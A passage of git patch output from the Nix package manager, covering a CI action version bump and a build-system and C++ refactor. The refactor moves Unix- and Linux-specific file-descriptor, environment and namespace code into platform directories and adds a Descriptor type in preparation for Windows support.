a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 818e81ec8..2b8eac49d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -163,7 +163,7 @@ jobs: vm_tests: runs-on: ubuntu-22.04 steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - uses: DeterminateSystems/nix-installer-action@main - uses: DeterminateSystems/magic-nix-cache-action@main - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes From 852391765dd132c74ce3dc63b8ee07c6112b097c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 27 Mar 2024 12:01:07 -0400 Subject: [PATCH 0391/1251] Add unix (and linux) dirs In the Nix commit, platform-specific sources will go here. --- local.mk | 5 +++++ src/libcmd/local.mk | 2 +- src/libexpr/local.mk | 2 +- src/libfetchers/local.mk | 6 ++++++ src/libmain/local.mk | 7 ++++++- src/libstore/local.mk | 6 ++++++ src/libutil/local.mk | 12 ++++++++++++ src/nix/local.mk | 14 ++++++++++++-- src/resolve-system-dependencies/local.mk | 2 +- 9 files changed, 50 insertions(+), 6 deletions(-) diff --git a/local.mk b/local.mk index 7e3c77a65..408a82327 100644 --- a/local.mk +++ b/local.mk @@ -5,6 +5,11 @@ ERROR_SWITCH_ENUM = -Werror=switch-enum $(foreach i, config.h $(wildcard src/lib*/*.hh), \ $(eval $(call install-file-in, $(i), $(includedir)/nix, 0644))) +ifdef HOST_UNIX + $(foreach i, $(wildcard src/lib*/unix/*.hh), \ + $(eval $(call install-file-in, $(i), $(includedir)/nix, 0644))) +endif + $(GCH): src/libutil/util.hh config.h GCH_CXXFLAGS = $(INCLUDE_libutil) diff --git a/src/libcmd/local.mk b/src/libcmd/local.mk index 7a7c46ee2..9aa33a9d3 100644 --- a/src/libcmd/local.mk +++ b/src/libcmd/local.mk @@ -6,7 +6,7 @@ libcmd_DIR := $(d) libcmd_SOURCES := $(wildcard $(d)/*.cc) -libcmd_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) -I src/libmain +libcmd_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libmain) libcmd_LDFLAGS = $(EDITLINE_LIBS) $(LOWDOWN_LIBS) $(THREAD_LDFLAGS) diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk index 17f793ec3..ecadc5e5d 100644 --- a/src/libexpr/local.mk +++ b/src/libexpr/local.mk @@ -15,7 +15,7 @@ libexpr_SOURCES := \ INCLUDE_libexpr := -I $(d) -libexpr_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) -I src/libmain $(INCLUDE_libexpr) +libexpr_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libmain) $(INCLUDE_libexpr) libexpr_LIBS = libutil libstore libfetchers diff --git a/src/libfetchers/local.mk b/src/libfetchers/local.mk index e229a0993..0fef1466b 100644 --- a/src/libfetchers/local.mk +++ b/src/libfetchers/local.mk @@ -5,10 +5,16 @@ libfetchers_NAME = libnixfetchers libfetchers_DIR := $(d) libfetchers_SOURCES := $(wildcard $(d)/*.cc) +ifdef HOST_UNIX + libfetchers_SOURCES += $(wildcard $(d)/unix/*.cc) +endif # Not just for this library itself, but also for downstream libraries using this library INCLUDE_libfetchers := -I $(d) +ifdef HOST_UNIX + INCLUDE_libfetchers += -I $(d)/unix +endif libfetchers_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) diff --git a/src/libmain/local.mk b/src/libmain/local.mk index fde28a820..d41c49dd7 100644 --- a/src/libmain/local.mk +++ b/src/libmain/local.mk @@ -5,8 +5,13 @@ libmain_NAME = libnixmain libmain_DIR := $(d) libmain_SOURCES := $(wildcard $(d)/*.cc) +ifdef HOST_UNIX + libmain_SOURCES += $(wildcard $(d)/unix/*.cc) +endif -libmain_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) +INCLUDE_libmain := -I $(d) + +libmain_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libmain) libmain_LDFLAGS += $(OPENSSL_LIBS) diff --git a/src/libstore/local.mk b/src/libstore/local.mk index 7eaa317e5..ccb7aeee2 100644 --- a/src/libstore/local.mk +++ b/src/libstore/local.mk @@ -5,6 +5,9 @@ libstore_NAME = libnixstore libstore_DIR := $(d) libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc $(d)/build/*.cc) +ifdef HOST_UNIX + libstore_SOURCES += $(wildcard $(d)/unix/*.cc) +endif libstore_LIBS = libutil @@ -30,6 +33,9 @@ endif # Not just for this library itself, but also for downstream libraries using this library INCLUDE_libstore := -I $(d) -I $(d)/build +ifdef HOST_UNIX + INCLUDE_libstore += -I $(d)/unix +endif libstore_CXXFLAGS += \ $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libstore) \ diff --git a/src/libutil/local.mk b/src/libutil/local.mk index 4ffb6bd9d..9773ef64f 100644 --- a/src/libutil/local.mk +++ b/src/libutil/local.mk @@ -5,10 +5,22 @@ libutil_NAME = libnixutil libutil_DIR := $(d) libutil_SOURCES := $(wildcard $(d)/*.cc $(d)/signature/*.cc) +ifdef HOST_UNIX + libutil_SOURCES += $(wildcard $(d)/unix/*.cc) +endif +ifdef HOST_LINUX + libutil_SOURCES += $(wildcard $(d)/linux/*.cc) +endif # Not just for this library itself, but also for downstream libraries using this library INCLUDE_libutil := -I $(d) +ifdef HOST_UNIX + INCLUDE_libutil += -I $(d)/unix +endif +ifdef HOST_LINUX + INCLUDE_libutil += -I $(d)/linux +endif libutil_CXXFLAGS += $(INCLUDE_libutil) libutil_LDFLAGS += $(THREAD_LDFLAGS) $(LIBCURL_LIBS) $(SODIUM_LIBS) $(OPENSSL_LIBS) $(LIBBROTLI_LIBS) $(LIBARCHIVE_LIBS) $(BOOST_LDFLAGS) -lboost_context diff --git a/src/nix/local.mk b/src/nix/local.mk index 55544b564..9f6f31b3a 100644 --- a/src/nix/local.mk +++ b/src/nix/local.mk @@ -12,9 +12,19 @@ nix_SOURCES := \ $(wildcard src/nix-daemon/*.cc) \ $(wildcard src/nix-env/*.cc) \ $(wildcard src/nix-instantiate/*.cc) \ - $(wildcard src/nix-store/*.cc) \ + $(wildcard src/nix-store/*.cc) -nix_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) -I src/libmain -I src/libcmd -I doc/manual +ifdef HOST_UNIX +nix_SOURCES += \ + $(wildcard $(d)/unix/*.cc) +endif + +INCLUDE_nix := -I $(d) +ifdef HOST_UNIX + INCLUDE_nix += -I $(d)/unix +endif + +nix_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libmain) -I src/libcmd -I doc/manual $(INCLUDE_nix) nix_LIBS = libexpr libmain libfetchers libstore libutil libcmd diff --git a/src/resolve-system-dependencies/local.mk b/src/resolve-system-dependencies/local.mk index f28fdab3b..e138c4080 100644 --- a/src/resolve-system-dependencies/local.mk +++ b/src/resolve-system-dependencies/local.mk @@ -6,7 +6,7 @@ resolve-system-dependencies_DIR := $(d) resolve-system-dependencies_INSTALL_DIR := $(libexecdir)/nix -resolve-system-dependencies_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) -I src/libmain +resolve-system-dependencies_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libmain) resolve-system-dependencies_LIBS := libstore libmain libutil From 02fa20622f34e67bc551f4eb5b7c4d387641b9a6 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 29 Mar 2024 15:59:14 -0400 Subject: [PATCH 0392/1251] Start factoring out Unix assumptions This splits files and adds new identifiers in preperation for supporting windows, but no Windows-specific code is actually added yet. Co-authored-by: Robert Hensing --- src/libfetchers/{ => unix}/git.cc | 0 src/libfetchers/{ => unix}/mercurial.cc | 0 src/libstore/build/local-derivation-goal.cc | 26 +-- src/libstore/filetransfer.cc | 7 +- src/libutil/current-process.cc | 4 +- src/libutil/environment-variables.cc | 14 -- src/libutil/file-descriptor.cc | 186 +++---------------- src/libutil/file-descriptor.hh | 58 ++++-- src/libutil/{ => linux}/namespaces.cc | 20 +- src/libutil/{ => linux}/namespaces.hh | 4 - src/libutil/logging.cc | 5 +- src/libutil/serialise.hh | 16 +- src/libutil/unix/environment-variables.cc | 21 +++ src/libutil/unix/file-descriptor.cc | 155 ++++++++++++++++ src/libutil/{ => unix}/monitor-fd.hh | 0 src/libutil/{ => unix}/processes.cc | 0 src/libutil/{ => unix}/processes.hh | 0 src/libutil/{ => unix}/signals.cc | 0 src/libutil/{ => unix}/signals.hh | 0 src/libutil/{ => unix}/unix-domain-socket.cc | 0 src/libutil/{ => unix}/unix-domain-socket.hh | 0 src/libutil/unix/users.cc | 66 +++++++ src/libutil/users.cc | 60 ------ src/libutil/util.cc | 1 - src/nix/main.cc | 5 +- src/nix/{ => unix}/daemon.cc | 0 src/nix/{ => unix}/daemon.md | 0 src/nix/{ => unix}/fmt.cc | 0 src/nix/{ => unix}/fmt.md | 0 src/nix/{ => unix}/run.cc | 0 src/nix/{ => unix}/run.hh | 0 src/nix/{ => unix}/run.md | 0 src/nix/{ => unix}/upgrade-nix.cc | 0 src/nix/{ => unix}/upgrade-nix.md | 0 34 files changed, 352 insertions(+), 296 deletions(-) rename src/libfetchers/{ => unix}/git.cc (100%) rename src/libfetchers/{ => unix}/mercurial.cc (100%) rename src/libutil/{ => linux}/namespaces.cc (95%) rename src/libutil/{ => linux}/namespaces.hh (96%) create mode 100644 src/libutil/unix/environment-variables.cc create mode 100644 src/libutil/unix/file-descriptor.cc rename src/libutil/{ => unix}/monitor-fd.hh (100%) rename src/libutil/{ => unix}/processes.cc (100%) rename src/libutil/{ => unix}/processes.hh (100%) rename src/libutil/{ => unix}/signals.cc (100%) rename src/libutil/{ => unix}/signals.hh (100%) rename src/libutil/{ => unix}/unix-domain-socket.cc (100%) rename src/libutil/{ => unix}/unix-domain-socket.hh (100%) create mode 100644 src/libutil/unix/users.cc rename src/nix/{ => unix}/daemon.cc (100%) rename src/nix/{ => unix}/daemon.md (100%) rename src/nix/{ => unix}/fmt.cc (100%) rename src/nix/{ => unix}/fmt.md (100%) rename src/nix/{ => unix}/run.cc (100%) rename src/nix/{ => unix}/run.hh (100%) rename src/nix/{ => unix}/run.md (100%) rename src/nix/{ => unix}/upgrade-nix.cc (100%) rename src/nix/{ => unix}/upgrade-nix.md (100%) diff --git a/src/libfetchers/git.cc b/src/libfetchers/unix/git.cc similarity index 100% rename from src/libfetchers/git.cc rename to src/libfetchers/unix/git.cc diff --git a/src/libfetchers/mercurial.cc b/src/libfetchers/unix/mercurial.cc similarity index 100% rename from src/libfetchers/mercurial.cc rename to src/libfetchers/unix/mercurial.cc diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index 914fffd16..f8794e783 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -17,7 +17,6 @@ #include "cgroup.hh" #include "personality.hh" #include "current-process.hh" -#include "namespaces.hh" #include "child.hh" #include "unix-domain-socket.hh" #include "posix-fs-canonicalise.hh" @@ -40,18 +39,19 @@ /* Includes required for chroot support. */ #if __linux__ -#include -#include -#include -#include -#include -#include -#include -#include -#if HAVE_SECCOMP -#include -#endif -#define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old)) +# include +# include +# include +# include +# include +# include +# include +# include +# include "namespaces.hh" +# if HAVE_SECCOMP +# include +# endif +# define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old)) #endif #if __APPLE__ diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc index bab21bf51..0d5379d25 100644 --- a/src/libstore/filetransfer.cc +++ b/src/libstore/filetransfer.cc @@ -1,5 +1,4 @@ #include "filetransfer.hh" -#include "namespaces.hh" #include "globals.hh" #include "store-api.hh" #include "s3.hh" @@ -12,6 +11,10 @@ #include #endif +#if __linux__ +# include "namespaces.hh" +#endif + #include #include @@ -568,7 +571,9 @@ struct curlFileTransfer : public FileTransfer stopWorkerThread(); }); + #if __linux__ unshareFilesystem(); + #endif std::map> items; diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index f80f43ef0..c13e6d567 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -2,7 +2,6 @@ #include #include "current-process.hh" -#include "namespaces.hh" #include "util.hh" #include "finally.hh" #include "file-system.hh" @@ -17,6 +16,7 @@ # include # include # include "cgroup.hh" +# include "namespaces.hh" #endif #include @@ -84,7 +84,9 @@ void restoreProcessContext(bool restoreMounts) { restoreSignals(); if (restoreMounts) { + #if __linux__ restoreMountNamespace(); + #endif } if (savedStackSize) { diff --git a/src/libutil/environment-variables.cc b/src/libutil/environment-variables.cc index 6618d7872..7f4bb2d00 100644 --- a/src/libutil/environment-variables.cc +++ b/src/libutil/environment-variables.cc @@ -32,18 +32,4 @@ std::map getEnv() return env; } - -void clearEnv() -{ - for (auto & name : getEnv()) - unsetenv(name.first.c_str()); -} - -void replaceEnv(const std::map & newEnv) -{ - clearEnv(); - for (auto & newEnvVar : newEnv) - setenv(newEnvVar.first.c_str(), newEnvVar.second.c_str(), 1); -} - } diff --git a/src/libutil/file-descriptor.cc b/src/libutil/file-descriptor.cc index 55d57e29b..95cbb8537 100644 --- a/src/libutil/file-descriptor.cc +++ b/src/libutil/file-descriptor.cc @@ -8,74 +8,14 @@ namespace nix { -std::string readFile(int fd) -{ - struct stat st; - if (fstat(fd, &st) == -1) - throw SysError("statting file"); - - return drainFD(fd, true, st.st_size); -} - - -void readFull(int fd, char * buf, size_t count) -{ - while (count) { - checkInterrupt(); - ssize_t res = read(fd, buf, count); - if (res == -1) { - if (errno == EINTR) continue; - throw SysError("reading from file"); - } - if (res == 0) throw EndOfFile("unexpected end-of-file"); - count -= res; - buf += res; - } -} - - -void writeFull(int fd, std::string_view s, bool allowInterrupts) -{ - while (!s.empty()) { - if (allowInterrupts) checkInterrupt(); - ssize_t res = write(fd, s.data(), s.size()); - if (res == -1 && errno != EINTR) - throw SysError("writing to file"); - if (res > 0) - s.remove_prefix(res); - } -} - - -std::string readLine(int fd) -{ - std::string s; - while (1) { - checkInterrupt(); - char ch; - // FIXME: inefficient - ssize_t rd = read(fd, &ch, 1); - if (rd == -1) { - if (errno != EINTR) - throw SysError("reading a line"); - } else if (rd == 0) - throw EndOfFile("unexpected EOF reading a line"); - else { - if (ch == '\n') return s; - s += ch; - } - } -} - - -void writeLine(int fd, std::string s) +void writeLine(Descriptor fd, std::string s) { s += '\n'; writeFull(fd, s); } -std::string drainFD(int fd, bool block, const size_t reserveSize) +std::string drainFD(Descriptor fd, bool block, const size_t reserveSize) { // the parser needs two extra bytes to append terminating characters, other users will // not care very much about the extra memory. @@ -85,50 +25,18 @@ std::string drainFD(int fd, bool block, const size_t reserveSize) } -void drainFD(int fd, Sink & sink, bool block) -{ - // silence GCC maybe-uninitialized warning in finally - int saved = 0; - - if (!block) { - saved = fcntl(fd, F_GETFL); - if (fcntl(fd, F_SETFL, saved | O_NONBLOCK) == -1) - throw SysError("making file descriptor non-blocking"); - } - - Finally finally([&] { - if (!block) { - if (fcntl(fd, F_SETFL, saved) == -1) - throw SysError("making file descriptor blocking"); - } - }); - - std::vector buf(64 * 1024); - while (1) { - checkInterrupt(); - ssize_t rd = read(fd, buf.data(), buf.size()); - if (rd == -1) { - if (!block && (errno == EAGAIN || errno == EWOULDBLOCK)) - break; - if (errno != EINTR) - throw SysError("reading from file"); - } - else if (rd == 0) break; - else sink({reinterpret_cast(buf.data()), size_t(rd)}); - } -} - ////////////////////////////////////////////////////////////////////// -AutoCloseFD::AutoCloseFD() : fd{-1} {} + +AutoCloseFD::AutoCloseFD() : fd{INVALID_DESCRIPTOR} {} -AutoCloseFD::AutoCloseFD(int fd) : fd{fd} {} +AutoCloseFD::AutoCloseFD(Descriptor fd) : fd{fd} {} AutoCloseFD::AutoCloseFD(AutoCloseFD && that) : fd{that.fd} { - that.fd = -1; + that.fd = INVALID_DESCRIPTOR; } @@ -136,7 +44,7 @@ AutoCloseFD & AutoCloseFD::operator =(AutoCloseFD && that) { close(); fd = that.fd; - that.fd = -1; + that.fd = INVALID_DESCRIPTOR; return *this; } @@ -151,7 +59,7 @@ AutoCloseFD::~AutoCloseFD() } -int AutoCloseFD::get() const +Descriptor AutoCloseFD::get() const { return fd; } @@ -159,56 +67,46 @@ int AutoCloseFD::get() const void AutoCloseFD::close() { - if (fd != -1) { - if (::close(fd) == -1) + if (fd != INVALID_DESCRIPTOR) { + if(::close(fd) == -1) /* This should never happen. */ throw SysError("closing file descriptor %1%", fd); - fd = -1; + fd = INVALID_DESCRIPTOR; } } void AutoCloseFD::fsync() { - if (fd != -1) { - int result; + if (fd != INVALID_DESCRIPTOR) { + int result; + result = #if __APPLE__ - result = ::fcntl(fd, F_FULLFSYNC); + ::fcntl(fd, F_FULLFSYNC) #else - result = ::fsync(fd); + ::fsync(fd) #endif - if (result == -1) - throw SysError("fsync file descriptor %1%", fd); - } + ; + if (result == -1) + throw SysError("fsync file descriptor %1%", fd); + } } AutoCloseFD::operator bool() const { - return fd != -1; + return fd != INVALID_DESCRIPTOR; } -int AutoCloseFD::release() +Descriptor AutoCloseFD::release() { - int oldFD = fd; - fd = -1; + Descriptor oldFD = fd; + fd = INVALID_DESCRIPTOR; return oldFD; } -void Pipe::create() -{ - int fds[2]; -#if HAVE_PIPE2 - if (pipe2(fds, O_CLOEXEC) != 0) throw SysError("creating pipe"); -#else - if (pipe(fds) != 0) throw SysError("creating pipe"); - closeOnExec(fds[0]); - closeOnExec(fds[1]); -#endif - readSide = fds[0]; - writeSide = fds[1]; -} +////////////////////////////////////////////////////////////////////// void Pipe::close() @@ -217,38 +115,4 @@ void Pipe::close() writeSide.close(); } -////////////////////////////////////////////////////////////////////// - -void closeMostFDs(const std::set & exceptions) -{ -#if __linux__ - try { - for (auto & s : readDirectory("/proc/self/fd")) { - auto fd = std::stoi(s.name); - if (!exceptions.count(fd)) { - debug("closing leaked FD %d", fd); - close(fd); - } - } - return; - } catch (SystemError &) { - } -#endif - - int maxFD = 0; - maxFD = sysconf(_SC_OPEN_MAX); - for (int fd = 0; fd < maxFD; ++fd) - if (!exceptions.count(fd)) - close(fd); /* ignore result */ -} - - -void closeOnExec(int fd) -{ - int prev; - if ((prev = fcntl(fd, F_GETFD, 0)) == -1 || - fcntl(fd, F_SETFD, prev | FD_CLOEXEC) == -1) - throw SysError("setting close-on-exec flag"); -} - } diff --git a/src/libutil/file-descriptor.hh b/src/libutil/file-descriptor.hh index 80ec86135..719e1e444 100644 --- a/src/libutil/file-descriptor.hh +++ b/src/libutil/file-descriptor.hh @@ -9,53 +9,85 @@ namespace nix { struct Sink; struct Source; +/** + * Operating System capability + */ +typedef int Descriptor; + +const Descriptor INVALID_DESCRIPTOR = -1; + +/** + * Convert a native `Descriptor` to a POSIX file descriptor + * + * This is a no-op except on Windows. + */ +static inline Descriptor toDescriptor(int fd) +{ + return fd; +} + +/** + * Convert a POSIX file descriptor to a native `Descriptor` + * + * This is a no-op except on Windows. + */ +static inline int fromDescriptor(Descriptor fd, int flags) +{ + return fd; +} + /** * Read the contents of a resource into a string. */ -std::string readFile(int fd); +std::string readFile(Descriptor fd); /** * Wrappers arount read()/write() that read/write exactly the * requested number of bytes. */ -void readFull(int fd, char * buf, size_t count); +void readFull(Descriptor fd, char * buf, size_t count); -void writeFull(int fd, std::string_view s, bool allowInterrupts = true); +void writeFull(Descriptor fd, std::string_view s, bool allowInterrupts = true); /** * Read a line from a file descriptor. */ -std::string readLine(int fd); +std::string readLine(Descriptor fd); /** * Write a line to a file descriptor. */ -void writeLine(int fd, std::string s); +void writeLine(Descriptor fd, std::string s); /** * Read a file descriptor until EOF occurs. */ -std::string drainFD(int fd, bool block = true, const size_t reserveSize=0); +std::string drainFD(Descriptor fd, bool block = true, const size_t reserveSize=0); -void drainFD(int fd, Sink & sink, bool block = true); +void drainFD(Descriptor fd, Sink & sink, bool block = true); + +[[gnu::always_inline]] +inline Descriptor getStandardOut() { + return STDOUT_FILENO; +} /** * Automatic cleanup of resources. */ class AutoCloseFD { - int fd; + Descriptor fd; public: AutoCloseFD(); - AutoCloseFD(int fd); + AutoCloseFD(Descriptor fd); AutoCloseFD(const AutoCloseFD & fd) = delete; AutoCloseFD(AutoCloseFD&& fd); ~AutoCloseFD(); AutoCloseFD& operator =(const AutoCloseFD & fd) = delete; AutoCloseFD& operator =(AutoCloseFD&& fd); - int get() const; + Descriptor get() const; explicit operator bool() const; - int release(); + Descriptor release(); void close(); void fsync(); }; @@ -72,12 +104,12 @@ public: * Close all file descriptors except those listed in the given set. * Good practice in child processes. */ -void closeMostFDs(const std::set & exceptions); +void closeMostFDs(const std::set & exceptions); /** * Set the close-on-exec flag for the given file descriptor. */ -void closeOnExec(int fd); +void closeOnExec(Descriptor fd); MakeError(EndOfFile, Error); diff --git a/src/libutil/namespaces.cc b/src/libutil/linux/namespaces.cc similarity index 95% rename from src/libutil/namespaces.cc rename to src/libutil/linux/namespaces.cc index a789b321e..f8289ef39 100644 --- a/src/libutil/namespaces.cc +++ b/src/libutil/linux/namespaces.cc @@ -5,18 +5,14 @@ #include "processes.hh" #include "signals.hh" -#if __linux__ -# include -# include -# include "cgroup.hh" -#endif +#include +#include +#include "cgroup.hh" #include namespace nix { -#if __linux__ - bool userNamespacesSupported() { static auto res = [&]() -> bool @@ -101,19 +97,14 @@ bool mountAndPidNamespacesSupported() return res; } -#endif - ////////////////////////////////////////////////////////////////////// -#if __linux__ static AutoCloseFD fdSavedMountNamespace; static AutoCloseFD fdSavedRoot; -#endif void saveMountNamespace() { -#if __linux__ static std::once_flag done; std::call_once(done, []() { fdSavedMountNamespace = open("/proc/self/ns/mnt", O_RDONLY); @@ -122,12 +113,10 @@ void saveMountNamespace() fdSavedRoot = open("/proc/self/root", O_RDONLY); }); -#endif } void restoreMountNamespace() { -#if __linux__ try { auto savedCwd = absPath("."); @@ -146,15 +135,12 @@ void restoreMountNamespace() } catch (Error & e) { debug(e.msg()); } -#endif } void unshareFilesystem() { -#ifdef __linux__ if (unshare(CLONE_FS) != 0 && errno != EPERM) throw SysError("unsharing filesystem state in download thread"); -#endif } } diff --git a/src/libutil/namespaces.hh b/src/libutil/linux/namespaces.hh similarity index 96% rename from src/libutil/namespaces.hh rename to src/libutil/linux/namespaces.hh index 7e4e921a8..ef3c9123f 100644 --- a/src/libutil/namespaces.hh +++ b/src/libutil/linux/namespaces.hh @@ -26,12 +26,8 @@ void restoreMountNamespace(); */ void unshareFilesystem(); -#if __linux__ - bool userNamespacesSupported(); bool mountAndPidNamespacesSupported(); -#endif - } diff --git a/src/libutil/logging.cc b/src/libutil/logging.cc index 83db492ca..5024c6081 100644 --- a/src/libutil/logging.cc +++ b/src/libutil/logging.cc @@ -37,8 +37,9 @@ void Logger::warn(const std::string & msg) void Logger::writeToStdout(std::string_view s) { - writeFull(STDOUT_FILENO, s); - writeFull(STDOUT_FILENO, "\n"); + Descriptor standard_out = getStandardOut(); + writeFull(standard_out, s); + writeFull(standard_out, "\n"); } class SimpleLogger : public Logger diff --git a/src/libutil/serialise.hh b/src/libutil/serialise.hh index d9522566f..6249ddaf5 100644 --- a/src/libutil/serialise.hh +++ b/src/libutil/serialise.hh @@ -119,18 +119,18 @@ protected: */ struct FdSink : BufferedSink { - int fd; + Descriptor fd; size_t written = 0; - FdSink() : fd(-1) { } - FdSink(int fd) : fd(fd) { } + FdSink() : fd(INVALID_DESCRIPTOR) { } + FdSink(Descriptor fd) : fd(fd) { } FdSink(FdSink&&) = default; FdSink & operator=(FdSink && s) { flush(); fd = s.fd; - s.fd = -1; + s.fd = INVALID_DESCRIPTOR; written = s.written; return *this; } @@ -151,18 +151,18 @@ private: */ struct FdSource : BufferedSource { - int fd; + Descriptor fd; size_t read = 0; BackedStringView endOfFileError{"unexpected end-of-file"}; - FdSource() : fd(-1) { } - FdSource(int fd) : fd(fd) { } + FdSource() : fd(INVALID_DESCRIPTOR) { } + FdSource(Descriptor fd) : fd(fd) { } FdSource(FdSource &&) = default; FdSource & operator=(FdSource && s) { fd = s.fd; - s.fd = -1; + s.fd = INVALID_DESCRIPTOR; read = s.read; return *this; } diff --git a/src/libutil/unix/environment-variables.cc b/src/libutil/unix/environment-variables.cc new file mode 100644 index 000000000..c72880896 --- /dev/null +++ b/src/libutil/unix/environment-variables.cc @@ -0,0 +1,21 @@ +#include "util.hh" +#include "environment-variables.hh" + +extern char * * environ __attribute__((weak)); + +namespace nix { + +void clearEnv() +{ + for (auto & name : getEnv()) + unsetenv(name.first.c_str()); +} + +void replaceEnv(const std::map & newEnv) +{ + clearEnv(); + for (auto & newEnvVar : newEnv) + setenv(newEnvVar.first.c_str(), newEnvVar.second.c_str(), 1); +} + +} diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc new file mode 100644 index 000000000..27c8d821b --- /dev/null +++ b/src/libutil/unix/file-descriptor.cc @@ -0,0 +1,155 @@ +#include "file-system.hh" +#include "signals.hh" +#include "finally.hh" +#include "serialise.hh" + +#include +#include + +namespace nix { + +std::string readFile(int fd) +{ + struct stat st; + if (fstat(fd, &st) == -1) + throw SysError("statting file"); + + return drainFD(fd, true, st.st_size); +} + + +void readFull(int fd, char * buf, size_t count) +{ + while (count) { + checkInterrupt(); + ssize_t res = read(fd, buf, count); + if (res == -1) { + if (errno == EINTR) continue; + throw SysError("reading from file"); + } + if (res == 0) throw EndOfFile("unexpected end-of-file"); + count -= res; + buf += res; + } +} + + +void writeFull(int fd, std::string_view s, bool allowInterrupts) +{ + while (!s.empty()) { + if (allowInterrupts) checkInterrupt(); + ssize_t res = write(fd, s.data(), s.size()); + if (res == -1 && errno != EINTR) + throw SysError("writing to file"); + if (res > 0) + s.remove_prefix(res); + } +} + + +std::string readLine(int fd) +{ + std::string s; + while (1) { + checkInterrupt(); + char ch; + // FIXME: inefficient + ssize_t rd = read(fd, &ch, 1); + if (rd == -1) { + if (errno != EINTR) + throw SysError("reading a line"); + } else if (rd == 0) + throw EndOfFile("unexpected EOF reading a line"); + else { + if (ch == '\n') return s; + s += ch; + } + } +} + + +void drainFD(int fd, Sink & sink, bool block) +{ + // silence GCC maybe-uninitialized warning in finally + int saved = 0; + + if (!block) { + saved = fcntl(fd, F_GETFL); + if (fcntl(fd, F_SETFL, saved | O_NONBLOCK) == -1) + throw SysError("making file descriptor non-blocking"); + } + + Finally finally([&]() { + if (!block) { + if (fcntl(fd, F_SETFL, saved) == -1) + throw SysError("making file descriptor blocking"); + } + }); + + std::vector buf(64 * 1024); + while (1) { + checkInterrupt(); + ssize_t rd = read(fd, buf.data(), buf.size()); + if (rd == -1) { + if (!block && (errno == EAGAIN || errno == EWOULDBLOCK)) + break; + if (errno != EINTR) + throw SysError("reading from file"); + } + else if (rd == 0) break; + else sink({reinterpret_cast(buf.data()), (size_t) rd}); + } +} + +////////////////////////////////////////////////////////////////////// + +void Pipe::create() +{ + int fds[2]; +#if HAVE_PIPE2 + if (pipe2(fds, O_CLOEXEC) != 0) throw SysError("creating pipe"); +#else + if (pipe(fds) != 0) throw SysError("creating pipe"); + closeOnExec(fds[0]); + closeOnExec(fds[1]); +#endif + readSide = fds[0]; + writeSide = fds[1]; +} + + +////////////////////////////////////////////////////////////////////// + +void closeMostFDs(const std::set & exceptions) +{ +#if __linux__ + try { + for (auto & s : readDirectory("/proc/self/fd")) { + auto fd = std::stoi(s.name); + if (!exceptions.count(fd)) { + debug("closing leaked FD %d", fd); + close(fd); + } + } + return; + } catch (SysError &) { + } +#endif + + int maxFD = 0; + maxFD = sysconf(_SC_OPEN_MAX); + for (int fd = 0; fd < maxFD; ++fd) + if (!exceptions.count(fd)) + close(fd); /* ignore result */ +} + + +void closeOnExec(int fd) +{ + int prev; + if ((prev = fcntl(fd, F_GETFD, 0)) == -1 || + fcntl(fd, F_SETFD, prev | FD_CLOEXEC) == -1) + throw SysError("setting close-on-exec flag"); +} + +} diff --git a/src/libutil/monitor-fd.hh b/src/libutil/unix/monitor-fd.hh similarity index 100% rename from src/libutil/monitor-fd.hh rename to src/libutil/unix/monitor-fd.hh diff --git a/src/libutil/processes.cc b/src/libutil/unix/processes.cc similarity index 100% rename from src/libutil/processes.cc rename to src/libutil/unix/processes.cc diff --git a/src/libutil/processes.hh b/src/libutil/unix/processes.hh similarity index 100% rename from src/libutil/processes.hh rename to src/libutil/unix/processes.hh diff --git a/src/libutil/signals.cc b/src/libutil/unix/signals.cc similarity index 100% rename from src/libutil/signals.cc rename to src/libutil/unix/signals.cc diff --git a/src/libutil/signals.hh b/src/libutil/unix/signals.hh similarity index 100% rename from src/libutil/signals.hh rename to src/libutil/unix/signals.hh diff --git a/src/libutil/unix-domain-socket.cc b/src/libutil/unix/unix-domain-socket.cc similarity index 100% rename from src/libutil/unix-domain-socket.cc rename to src/libutil/unix/unix-domain-socket.cc diff --git a/src/libutil/unix-domain-socket.hh b/src/libutil/unix/unix-domain-socket.hh similarity index 100% rename from src/libutil/unix-domain-socket.hh rename to src/libutil/unix/unix-domain-socket.hh diff --git a/src/libutil/unix/users.cc b/src/libutil/unix/users.cc new file mode 100644 index 000000000..58063a953 --- /dev/null 